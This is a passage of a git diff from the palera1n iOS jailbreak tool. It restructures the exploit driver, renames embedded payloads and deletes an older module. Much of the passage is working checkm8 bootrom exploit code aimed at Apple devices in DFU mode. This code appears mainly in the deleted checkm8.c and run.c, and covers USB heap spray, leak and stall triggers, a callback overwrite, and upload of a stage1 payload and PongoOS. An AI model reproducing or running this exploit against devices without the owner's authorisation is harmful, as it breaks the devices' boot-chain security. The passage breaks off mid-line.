usb_close(client); + *stage = STAGE_ERROR; + break; // err + } else if (*stage == STAGE_YOLODFU) { + LOG_ERROR("STAGE_YOLODFU failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + usb_close(client); + *stage = STAGE_ERROR; + break; // err + } + continue; + } else if (flag & kDeviceYoloDFUModeFlag) { + LOG("Found download mode device"); + + *stage = STAGE_YOLODFU; + cr = send_compressed_pongo(client, g_payload_pongo.data, g_payload_pongo.data_len); // yoloDFU -> pongoOS + if (cr == RA1N_CLIENT_ERR_NONE) { + usb_reset(client, kUSBResetDevice | kUSBReEnumerate); + usb_close(client); // success + continue; + } + LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr)); + usb_close(client); + *stage = STAGE_ERROR; + break; // err + } else if (flag & kDevicePongoModeFlag) { + LOG("Found pongo mode device"); + + if (palerain_flags & palerain_option_pongo_exit) { + usb_close(client); + *stage = STAGE_DONE; + break; // success + } else { + LOG("Booting..."); + cr = send_full_pongo_jailbreak(client); + if (cr != RA1N_CLIENT_ERR_NONE) { + LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr)); + usb_close(client); + *stage = STAGE_ERROR; + break; // err + } + *stage = STAGE_DONE; + break; // success + } + + usb_close(client); + continue; + } else { + LOG_ERROR("Found unknown device"); + usb_close(client); + *stage = STAGE_ERROR; + break; // err + } + + reloop: + usb_close(client); + } + + return cr; +} + +#else // WITH_CIDERRAIN + +int exploit(int *stage) +{ + LOG("Waiting for devices..."); + + struct DeviceConfiguration deviceConfig; + struct PayloadConfiguration payloadConfig; + + *stage = STAGE_RESET; + checkm8_err_t cr = CHECKM8_ERR_NONE; + + usb_handle_t dfuHandle; + usb_handle_t pongoHandle; + + init_usb_handle(&dfuHandle, VID_APPLE, PID_DFU); + init_usb_handle(&pongoHandle, VID_APPLE, PID_PONGO); + + for (;;) { + if (wait_usb_handle(&pongoHandle)) { + LOG("Found pongo mode device"); + *stage = STAGE_PONGO; + + cr = send_full_pongo_jailbreak(&pongoHandle); + if (cr != CHECKM8_ERR_NONE) { + LOG_ERROR("Failed to boot device (rv=%d, reason=%s)", cr, err_to_string(cr)); + *stage = STAGE_ERROR; + goto cleanup; + } + + *stage = STAGE_DONE; + goto cleanup; + } + + if (wait_usb_handle(&dfuHandle)) { + char *sn = get_usb_serial_number(&dfuHandle); + if (!sn) goto reloop; + + uint64_t cpid = dfu_serial_number_get_cpid(sn); + if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig) || + !checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig)) + { + free(sn); + goto reloop; + } + + if (dfu_serial_number_is_pwned(sn)) { + LOG_ERROR("Detected pwned DFU mode device, please enter normal DFU mode."); + free(sn); + *stage = STAGE_ERROR; + goto cleanup; + } + + if (dfu_serial_number_is_in_dfu_mode(sn)) { + LOG("Found DFU mode device"); + } else if (dfu_serial_number_is_in_yolo_dfu(sn)) { + LOG("Found download mode device"); + *stage = STAGE_YOLODFU; + } else { + free(sn); + goto reloop; + } + + free(sn); + + switch (*stage) { + case STAGE_RESET: + cr = checkm8_stage_reset(&dfuHandle); + if (cr != CHECKM8_ERR_NONE) { // err + LOG_ERROR("STAGE_RESET failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + *stage = STAGE_RESET; + goto reloop; + } + + *stage = STAGE_SETUP; + goto reloop; // success + case STAGE_SETUP: + cr = checkm8_stage_setup(&dfuHandle, &deviceConfig); + if (cr != CHECKM8_ERR_NONE) { // err + LOG_ERROR("STAGE_SETUP failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + *stage = STAGE_RESET; + goto reloop; + } + *stage = STAGE_SPRAY; + goto reloop; + case STAGE_SPRAY: + cr = checkm8_stage_spray(&dfuHandle, &deviceConfig); + if (cr != CHECKM8_ERR_NONE) { // err + LOG_ERROR("STAGE_SPRAY failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + *stage = STAGE_RESET; + goto reloop; + } + + *stage = STAGE_PATCH; + goto reloop; // success + case STAGE_PATCH: + cr = checkm8_stage_patch(&dfuHandle, &deviceConfig, &payloadConfig); + if (cr != CHECKM8_ERR_NONE) // err + LOG_ERROR("STAGE_PATCH failed (rv=%d, reason=%s)", cr, err_to_string(cr)); + + *stage = STAGE_RESET; + LOG("Checkmate?"); + goto reloop; // success + case STAGE_YOLODFU: + cr = send_compressed_pongo(&dfuHandle, g_payload_pongo.data, g_payload_pongo.data_len); + if (cr != CHECKM8_ERR_NONE) { + LOG_ERROR("Failed to send pongo image (rv=%d, reason=%s)", cr, err_to_string(cr)); + *stage = STAGE_ERROR; + goto cleanup; // err + }; + + continue; // success + } + + reloop: + reset_usb_handle(&dfuHandle); + continue; + } + } + +cleanup: + close_usb_handle(&dfuHandle); + close_usb_handle(&pongoHandle); + return cr; +} + +#endif // WITH_CIDERRAIN diff --git a/src/exploit.h b/src/exploit.h new file mode 100644 index 0000000..7d5fd32 --- /dev/null +++ b/src/exploit.h @@ -0,0 +1,63 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#ifndef RUN_H +#define RUN_H + +#include + +#ifdef __cplusplus +#include +using std::atomic_int; +using std::atomic_bool; +extern "C" { +#else +#include +#endif + +enum exploit_stage_t { + STAGE_RESET = 0, + STAGE_SETUP = 1, + STAGE_SPRAY = 2, + STAGE_PATCH = 3, + STAGE_YOLODFU = 4, + STAGE_PONGO = 5, + STAGE_DONE = 6, + STAGE_ERROR = 7, +}; + +const char* stage_to_string(int stage); +int stage_to_progress(int stage); +const char* err_to_string(int err); + +int exploit(int *stage); + +#ifdef __cplusplus +} +#endif + +#endif // RUN_H diff --git a/src/globals.c b/src/globals.c index 4046b60..527a1d7 100644 --- a/src/globals.c +++ b/src/globals.c @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #include "globals.h" #include @@ -8,49 +35,57 @@ #include #if WITH_BINPACK -# include "gen/payloads/binpack.h" +# include "gen/embedded/binpack.h" #endif #if WITH_RAMDISK -# include "gen/payloads/ramdisk.h" +# include "gen/embedded/ramdisk.h" +# include "gen/embedded/ramdisk-compressed.dmg.h" #endif -#include "gen/payloads/Pongo.h" -#include "gen/payloads/checkra1n-kpf-pongo.h" +#include "gen/embedded/Pongo.h" +#include "gen/embedded/checkra1n-kpf-pongo.h" +#include "gen/embedded/checkra1n-kpf-pongo-compressed.h" uint64_t palerain_flags = 0; char boot_args[0x270] = { '\0' }; #if WITH_BINPACK payload_t g_payload_overlay = { - .data = payloads_binpack_dmg, - .data_len = payloads_binpack_dmg_len, + .data = embedded_binpack_dmg, + .data_len = embedded_binpack_dmg_len, + .uncompressed_data_len = 0, }; #else payload_t g_payload_overlay = { .data = NULL, .data_len = 0, + .uncompressed_data_len = 0, }; #endif #if WITH_RAMDISK payload_t g_payload_ramdisk = { - .data = payloads_ramdisk_dmg, - .data_len = payloads_ramdisk_dmg_len, + .data = embedded_ramdisk_compressed_dmg_lzma, + .data_len = embedded_ramdisk_compressed_dmg_lzma_len, + .uncompressed_data_len = embedded_ramdisk_dmg_len, }; #else payload_t g_payload_ramdisk = { .data = NULL, .data_len = 0, + .uncompressed_data_len = 0, }; #endif payload_t g_payload_pongo = { - .data = payloads_Pongo_bin, - .data_len = payloads_Pongo_bin_len, + .data = embedded_Pongo_bin, + .data_len = embedded_Pongo_bin_len, + .uncompressed_data_len = 0, }; payload_t g_payload_kpf = { - .data = payloads_checkra1n_kpf_pongo, - .data_len = payloads_checkra1n_kpf_pongo_len, + .data = embedded_checkra1n_kpf_pongo_compressed_lzma, + .data_len = embedded_checkra1n_kpf_pongo_compressed_lzma_len, + .uncompressed_data_len = embedded_checkra1n_kpf_pongo_len, }; bool override_payload_from_file(const char *path, payload_t *out) @@ -86,6 +121,11 @@ bool override_payload_from_file(const char *path, payload_t *out) out->data = buf; out->data_len = (size_t)len; + // assume overwritten file is uncompressed + // this ultimately determines if pongo should + // decompress these files. user provided + // files should not be compressed. + out->uncompressed_data_len = 0; return true; } diff --git a/src/globals.h b/src/globals.h index 563e4e6..e06b3a9 100644 --- a/src/globals.h +++ b/src/globals.h @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef GLOBALS_H #define GLOBALS_H @@ -5,12 +32,15 @@ #include #include +#define PALERAIN_VERSION "3.0.0" + extern uint64_t palerain_flags; extern char boot_args[0x270]; typedef struct { const uint8_t *data; size_t data_len; + size_t uncompressed_data_len; } payload_t; extern payload_t g_payload_overlay; @@ -28,4 +58,4 @@ bool override_payload_from_file(const char *path, payload_t *out); } #endif -#endif // GLOBALS_H \ No newline at end of file +#endif // GLOBALS_H diff --git a/src/m8/checkm8.c b/src/m8/checkm8.c deleted file mode 100644 index 97f96da..0000000 --- a/src/m8/checkm8.c +++ /dev/null @@ -1,239 +0,0 @@ -#include "checkm8.h" - -#include -#include -#include -#include - -#include "payload.h" -#include "dfu.h" -#include "stage1.h" - -#include "../utils.h" -#include "../usb/shim.h" -#include "../usb/pongo_helper.h" - -static struct { - uint8_t b_len, b_descriptor_type; - uint16_t bcd_usb; - uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz; - uint16_t id_vendor, id_product, bcd_device; - uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations; -} device_descriptor; - -static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) { - struct { - uint8_t status, poll_timeout[3], state, str_idx; - } dfu_status; - transfer_ret_t transfer_ret; - - return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status) - && dfu_status.status == status && dfu_status.state == state; -} - -static bool dfu_set_state_wait_reset(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0 - && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC) - && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST) - && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); -} - -bool checkm8_stage_reset(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN - && dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ) - { - return true; - } - send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); - return false; -} - -bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) { - unsigned usb_abort_timeout = USB_TIMEOUT - 1; - transfer_ret_t transfer_ret; - - for(;;) { - if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) - && transfer_ret.sz < deviceConfig->config_overwrite_pad - && send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - transfer_ret.sz, &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_STALL) - { - return true; - } - - send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL); - usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); - } - - return false; -} - -static bool checkm8_usb_request_leak(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0; -} - -static void checkm8_stall(const usb_handle_t *handle) { - unsigned usb_abort_timeout = USB_TIMEOUT - 1; - transfer_ret_t transfer_ret; - - for(;;) { - if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) { - break; - } - usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1); - } -} - -static bool checkm8_no_leak(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) - && transfer_ret.sz == 0; -} - -static bool checkm8_usb_request_stall(const usb_handle_t *handle) { - transfer_ret_t transfer_ret; - - return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_STALL; -} - -char *get_usb_serial_number(usb_handle_t *handle) { - transfer_ret_t transfer_ret; - uint8_t buf[UINT8_MAX]; - char *str = NULL; - size_t i, sz; - - if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor) - && send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret) - && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] - && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) - { - for(i = 0; i < sz; ++i) { - str[i] = (char)buf[2 * (i + 1)]; - } - str[sz - 1] = '\0'; - } - return str; -} - - -bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) { - size_t i; - - if(deviceConfig->config_large_leak == 0) { - if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) { - while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} - } else { - checkm8_stall(handle); - for(i = 0; i < deviceConfig->config_hole; ++i) { - while(!checkm8_no_leak(handle)) {} - } - while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {} - } - send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL); - } else { - for(i = 0; i < deviceConfig->config_large_leak; ++i) { - while(!checkm8_usb_request_stall(handle)) {} - } - send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); - } - return true; -} - -bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) { - size_t i, data_sz, packet_sz; - void *data; - transfer_ret_t transfer_ret; - bool ret = false; - - const uint8_t *checkra1n_payload = NULL; - void *overwrite = NULL; - size_t checkra1n_payload_sz = 0; - size_t overwrite_sz = 0; - - checkm8_overwrite_t checkm8_overwrite; - memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite)); - checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base; - overwrite = &checkm8_overwrite; - overwrite_sz = sizeof(checkm8_overwrite); - - ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz); - if (!ret) return false; - - ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig); - if (!ret) return false; - - if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { - LOG_VERBOSE("successfully leaked data"); - } else { - LOG_ERROR("failed to leak data"); - return false; - } - for(i = 0; i < 2; i++) { - LOG_VERBOSE("i = %zu", i); - send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL); - } - if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { - ret = true; - for(i = 0; ret && i < data_sz; i += packet_sz) { - packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); - ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL); - } - send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); - } - free(data); - return ret; -} - -bool checkm8_boot_pongo(usb_handle_t *handle) -{ - transfer_ret_t transfer_ret; - - uint8_t *out; - size_t out_len; - - if (!prepare_pongo(&out, &out_len)) { - LOG_ERROR("Failed to prepare pongoOS payload"); - return false; - } - - { - size_t len = 0; - - while (len < out_len) - { - size_t chunk = (out_len - len > 0x800) ? 0x800 : (out_len - len); - - retry: - send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, out + len, chunk, &transfer_ret); - - if (transfer_ret.sz != chunk || transfer_ret.ret != USB_TRANSFER_OK) - { - LOG_VERBOSE("retrying at len = %zu", len); - sleep_ms(100); - goto retry; - } - - len += chunk; - LOG_VERBOSE("len = %zu", len); - } - } - - free(out); - - send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL); - LOG_SUCCESS("PongoOS has been sent off"); - return true; -} diff --git a/src/m8/checkm8.h b/src/m8/checkm8.h deleted file mode 100644 index b8f0c80..0000000 --- a/src/m8/checkm8.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef CHECKM8_H -#define CHECKM8_H - -#include - -#include "payload.h" - -#include "../usb/shim.h" - -#define EP0_MAX_PACKET_SZ (0x40) -#define USB_MAX_STRING_DESCRIPTOR_IDX (10) - -#ifndef MIN -# define MIN(a, b) ((a) < (b) ? (a) : (b)) -#endif - -bool checkm8_stage_reset(const usb_handle_t *handle); -bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig); -bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig); -bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig); -bool checkm8_boot_pongo(usb_handle_t *handle); - -#endif // CHECKM8_H diff --git a/src/m8/dfu.c b/src/m8/dfu.c deleted file mode 100644 index 002cd73..0000000 --- a/src/m8/dfu.c +++ /dev/null @@ -1,27 +0,0 @@ -#include "payload.h" - -#include -#include -#include -#include - -uint16_t dfu_serial_number_get_cpid(char *serial) { - char *cpid = strstr(serial, "CPID:"); - if (cpid == NULL) { return -1; } - return strtol(cpid + 5, NULL, 16); -} - -bool dfu_serial_number_is_in_dfu_mode(char *serial) { - char *DFU = strstr(serial, "SRTG"); - return DFU != NULL; -} - -bool dfu_serial_number_is_pwned(char *serial) { - char *pwnd = strstr(serial, "PWND:"); - return pwnd != NULL; -} - -bool dfu_serial_number_is_in_yolo_dfu(char *serial) { - char *yolo = strstr(serial, "YOLO"); - return yolo != NULL; -} diff --git a/src/m8/dfu.h b/src/m8/dfu.h deleted file mode 100644 index 4214b00..0000000 --- a/src/m8/dfu.h +++ /dev/null @@ -1,35 +0,0 @@ -#ifndef DFU_H -#define DFU_H - -#include - -#define DFU_DNLOAD 1 -#define DFU_UPLOAD 2 -#define DFU_GET_STATUS 3 -#define DFU_CLR_STATUS 4 -#define DFU_GETSTATE 5 -#define DFU_ABORT 6 - -#define DFU_FILE_SUFFIX_LEN 16 -#define EP0_MAX_PACKET_SIZE 0x40 -#define DFU_MAX_TRANSFER_SZ 0x800 -#define DFU_STATUS_OK 0 -#define DFU_STATE_MANIFEST_SYNC 6 -#define DFU_STATE_MANIFEST 7 -#define DFU_STATE_MANIFEST_WAIT_RESET 8 - -#ifdef __cplusplus -extern "C" { -#endif - -uint16_t dfu_serial_number_get_cpid(char *serial); -bool dfu_serial_number_is_in_dfu_mode(char *serial); -bool dfu_serial_number_is_pwned(char *serial); -bool dfu_serial_number_is_in_yolo_dfu(char *serial); -bool device_serial_number_is_in_pongo_os(char *serial); - -#ifdef __cplusplus -} -#endif - -#endif // DFU_H diff --git a/src/m8/run.c b/src/m8/run.c deleted file mode 100644 index cd9e8e2..0000000 --- a/src/m8/run.c +++ /dev/null @@ -1,290 +0,0 @@ -#include "run.h" - -#include -#include -#include -#include -#include -#include -#include -#include - -#include "../utils.h" -#include "../globals.h" -#include "../paleinfo.h" -#include "../usb/shim.h" -#include "../usb/driver.h" -#include "../usb/pongo_helper.h" - -#include "checkm8.h" -#include "dfu.h" -#include "payload.h" - -#define VID_APPLE (0x5AC) -#define PID_PONGO (0x4141) -#define PID_DFU (0x1227) - -#if defined(WITH_GUI) || defined(WITH_TUI) - -const char* stage_to_string(int stage) -{ - switch (stage) { - case STAGE_SETUP: return "Checking if device is ready"; - case STAGE_SPRAY: return "Setting up the exploit (this is the heap spray)"; - case STAGE_PATCH: return "Right before trigger (this is the real bug setup)"; - case STAGE_YOLODFU: return "Booting PongoOS..."; - case STAGE_PONGO: return "Booting..."; - case STAGE_DONE: return "Done."; - default: return "Idle."; - } -} - -int stage_to_progress(int stage) -{ - switch (stage) { - case STAGE_SETUP: return 30; - case STAGE_SPRAY: return 40; - case STAGE_PATCH: return 50; - case STAGE_YOLODFU: return 60; - case STAGE_PONGO: return 70; - case STAGE_DONE: return 100; - default: return 0; - } -} - -#endif // WITH_GUI || WITH_TUI - -#ifdef _WIN32 - -static void *driver_thread(void *arg) -{ - shared_t *s = (shared_t *)arg; - - LOG_VERBOSE("Starting thread for libusbK driver installing"); - - while (!atomic_load(&s->stop)) { - - if (usb_device_present(VID_APPLE, PID_DFU)) { - driver_result_t ret = - install_libusbk_target(VID_APPLE, PID_DFU); - - if (ret == DRIVER_SUCCESS) - LOG_VERBOSE("DFU libusbK ready"); - } - - if (usb_device_present(VID_APPLE, PID_PONGO)) { - - driver_result_t ret = - install_libusbk_target(VID_APPLE, PID_PONGO); - - if (ret == DRIVER_SUCCESS) { - LOG_SUCCESS("PongoOS libusbK ready"); - break; - } - } - - sleep_ms(500); - } - - return NULL; -} - -#endif - -static void *exploit_thread(void *arg) -{ - LOG_VERBOSE("Starting thread for DFU devices"); - LOG("Waiting for DFU devices..."); - - shared_t *s = (shared_t *)arg; - - usb_handle_t handle; - struct DeviceConfiguration deviceConfig; - struct PayloadConfiguration payloadConfig; - - int stage = STAGE_RESET; - bool ret = false; - - init_usb_handle(&handle, VID_APPLE, PID_DFU); - - while (!atomic_load(&s->stop)) { - if (!wait_usb_handle(&handle)) { - if (atomic_load(&s->stop)) break; - reset_usb_handle(&handle); - continue; - } - - char *sn = get_usb_serial_number(&handle); - if (!sn) { - reset_usb_handle(&handle); - continue; - } - - uint64_t cpid = dfu_serial_number_get_cpid(sn); - if (!checkm8_find_device_configuration_for_cpid(cpid, &deviceConfig) - || !checkm8_find_payload_configuration_for_cpid(cpid, &payloadConfig)) - { - free(sn); - reset_usb_handle(&handle); - continue; - } - - if (dfu_serial_number_is_pwned(sn)) { - LOG_WARN("Detected already PWN'd device, skipping"); - free(sn); - reset_usb_handle(&handle); - continue; - } else if (dfu_serial_number_is_in_dfu_mode(sn)) { - LOG_SUCCESS("Detected DFU device"); - } else if (dfu_serial_number_is_in_yolo_dfu(sn)) { - LOG_SUCCESS("Detected YoloDFU device"); - stage = STAGE_YOLODFU; - } else { - free(sn); - reset_usb_handle(&handle); - continue; - } - - free(sn); - atomic_store(&s->stage, stage); - - switch (stage) { - case STAGE_RESET: - ret = checkm8_stage_reset(&handle); - stage = ret ? STAGE_SETUP : STAGE_RESET; - break; - case STAGE_SETUP: - LOG("Checking if device is ready"); - ret = checkm8_stage_setup(&handle, &deviceConfig); - stage = ret ? STAGE_SPRAY : STAGE_RESET; - break; - case STAGE_SPRAY: - LOG("Setting up the exploit (this is the heap spray)"); - ret = checkm8_stage_spray(&handle, &deviceConfig); - stage = ret ? STAGE_PATCH : STAGE_RESET; - break; - case STAGE_PATCH: - LOG("Right before trigger (this is the real bug setup)"); - ret = checkm8_stage_patch(&handle, &deviceConfig, &payloadConfig); - stage = STAGE_RESET; - if (!ret) { - LOG_ERROR("Failed doing trigger"); - break; - } - continue; - case STAGE_YOLODFU: - LOG("Booting PongoOS..."); - ret = checkm8_boot_pongo(&handle); - if (!ret) LOG_ERROR("Failed to send PongoOS to device"); - stage = STAGE_RESET; - break; - } - - reset_usb_handle(&handle); - } - - close_usb_handle(&handle); - return NULL; -} - -static void *pongo_thread(void *arg) -{ - LOG_VERBOSE("Starting thread for PongoOS devices"); - - shared_t *s = (shared_t *)arg; - - usb_handle_t handle; - bool seen = false; - - init_usb_handle(&handle, VID_APPLE, PID_PONGO); - - while (!atomic_load(&s->stop)) { - if (!wait_usb_handle(&handle)) { - if (atomic_load(&s->stop)) break; - reset_usb_handle(&handle); - continue; - } - - if (seen) break; - seen = true; - - LOG_SUCCESS("Detected PongoOS device"); - - atomic_store(&s->stage, STAGE_PONGO); - - if (palerain_flags & palerain_option_pongo_exit) { - goto exit; - } - - char paleinfo[64]; - snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags); - - char xargs_cmd[0x270]; - snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args); - if (palerain_flags & palerain_option_setup_rootful) { - strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1); - } - - issue_pongo_command(&handle, "fuse lock"); - issue_pongo_command(&handle, "sep auto"); - if (g_payload_kpf.data_len > 0) { - upload_buffer_to_pongo(&handle, g_payload_kpf.data, g_payload_kpf.data_len); - issue_pongo_command(&handle, "modload"); - } - issue_pongo_command(&handle, paleinfo); - if (g_payload_ramdisk.data_len > 0) { - upload_buffer_to_pongo(&handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len); - issue_pongo_command(&handle, "ramdisk"); - } - if (g_payload_overlay.data_len > 0) { - upload_buffer_to_pongo(&handle, g_payload_overlay.data, g_payload_overlay.data_len); - issue_pongo_command(&handle, "overlay"); - } - if (strlen(boot_args) > 0) issue_pongo_command(&handle, 